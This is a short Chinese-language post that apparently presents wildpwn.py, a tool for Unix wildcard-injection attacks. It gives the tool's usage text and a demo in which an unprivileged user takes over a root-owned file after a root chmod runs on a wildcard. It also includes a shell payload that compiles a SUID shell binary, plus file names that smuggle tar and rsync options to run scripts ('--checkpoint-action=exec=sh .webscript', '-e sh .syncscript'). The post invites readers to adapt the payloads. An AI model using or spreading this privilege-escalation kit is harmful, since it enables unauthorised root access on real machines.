阅读:https://www.exploit-db.com/papers/33930/
大致如下:
usage: wildpwn.py [-h] [--file FILE] payload folder
用于生成Unix通配符攻击的工具
位置参数:
payload 要使用的payload:(combined | tar | rsync)
folder 写入payload的目录
可选参数:
-h, --help 显示此帮助信息并退出
--file FILE 要获取所有权/修改权限的文件路径。仅与combined攻击一起使用。
$ ls -lh /tmp/very_secret_file
-rw-r--r-- 1 root root 2048 jun 28 21:37 /tmp/very_secret_file
$ ls -lh ./pwn_me/
drwxrwxrwx 2 root root 4,0K jun 28 21:38 .
[...]
-rw-rw-r-- 1 root root 1024 jun 28 21:38 secret_file_1
-rw-rw-r-- 1 root root 1024 jun 28 21:38 secret_file_2
[...]
$ python wildpwn.py --file /tmp/very_secret_file combined ./pwn_me/
[!] 选择的payload: combined
[+] 完成!现在等待类似的操作:chown uid:gid * (或) chmod [权限] * 在 ./pwn_me/ 目录上执行。祝好运!
[...时间流逝 / 某个cron被执行...]
# chmod 000 * (例如)
[...回到非特权用户...]
$ ls -lha ./pwn_me/
[...]
-rwxrwxrwx 1 root root 1024 jun 28 21:38 secret_file_1
-rwxrwxrwx 1 root root 1024 jun 28 21:38 secret_file_2
[...]
$ ls -lha /tmp/very_secret_file
-rwxrwxrwx 1 root root 2048 jun 28 21:38 /tmp/very_secret_file
#!/bin/sh
# 获取当前用户uid / gid
CURR_UID="$(id -u)"
CURR_GID="$(id -g)"
# 保存文件
cat > .cachefile.c << EOF
#include <stdio.h>
int main()
{
setuid($CURR_UID);
setgid($CURR_GID);
execl("/bin/bash", "-bash", NULL);
return 0;
}
EOF
# 创建保存payload的目录
mkdir .cache
chmod 755 .cache
# 编译并设置SUID
gcc -w .cachefile.c -o .cache/.cachefile
chmod 4755 .cache/.cachefile
# 清理
rm -rf ./'--checkpoint=1'
rm -rf ./'--checkpoint-action=exec=sh .webscript'
rm -rf .webscript
rm -rf .cachefile.c
# 清理
rm -rf ./'-e sh .syncscript'
rm -rf .syncscript
rm -rf .cachefile.c
请随意修改它们!